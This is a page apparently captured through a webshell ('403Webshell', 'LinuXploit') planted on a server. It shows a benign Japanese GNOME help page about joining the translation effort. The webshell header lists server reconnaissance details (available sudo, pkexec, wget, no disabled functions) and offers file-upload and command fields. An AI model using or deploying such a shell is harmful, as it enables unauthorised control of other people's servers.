403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/help/ja/gnome-help/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/help/ja/gnome-help/translate.page
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" type="topic" style="tip" id="translate" xml:lang="ja">

  <info>
   <link type="guide" xref="more-help"/>
   <link type="seealso" xref="get-involved"/>
    <desc>ヘルプトピックの翻訳への協力方法。</desc>
    <revision pkgversion="3.11.4" version="0.1" date="2014-01-26" status="review"/>

    <credit type="author copyright">
      <name>Tiffany Antopolski</name>
      <email>[email protected]</email>
      <years>2011</years>
    </credit>
     <credit type="editor">
      <name>Michael Hill</name>
      <email>[email protected]</email>
    </credit>
     <credit type="editor">
      <name>Petr Kovar</name>
      <email>[email protected]</email>
    </credit>

  <include xmlns="http://www.w3.org/2001/XInclude" href="legal.xml"/>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>松澤 二郎</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2011, 2012, 2013, 2014, 2015</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>赤星 柔充</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2011, 2012</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>Kentaro KAZUHAMA</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2012</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>Shushi Kurose</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2012</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>Noriko Mizumoto</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2013, 2014</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>坂本 貴史</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2013, 2014</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>日本GNOMEユーザー会</mal:name>
      <mal:email>http://www.gnome.gr.jp/</mal:email>
      <mal:years>2011, 2012</mal:years>
    </mal:credit>
  </info>

<title>翻訳改善への参加</title>

<p>
  GNOME’s help is being translated by a world-wide volunteer community. You are
  welcome to participate.
</p>
<p>まだ、翻訳を必要とする<link href="https://l10n.gnome.org/module/gnome-user-docs/">多くの言語</link>があります。</p>
<p>翻訳を始めるには、<link href="https://l10n.gnome.org/register/">アカウントを作成</link>し、あなたの言語の<link href="https://l10n.gnome.org/teams/">翻訳チーム</link>に参加する必要があります。これにより、新しい翻訳をアップロードすることができるようになります。</p>
<p>
  You can chat with GNOME translators by joining the #i18n channel on the
  <link xref="help-irc">GNOME IRC server</link>. People on the channel are
  located worldwide, so you may not get an immediate response as a result of
  timezone differences.
</p>
<p>あるいは、<link href="http://mail.gnome.org/mailman/listinfo/gnome-i18n">メーリングリスト</link>を使って、国際化チームに連絡することもできます。</p>

</page>

Youez - 2016 - github.com/yon3zu
LinuXploit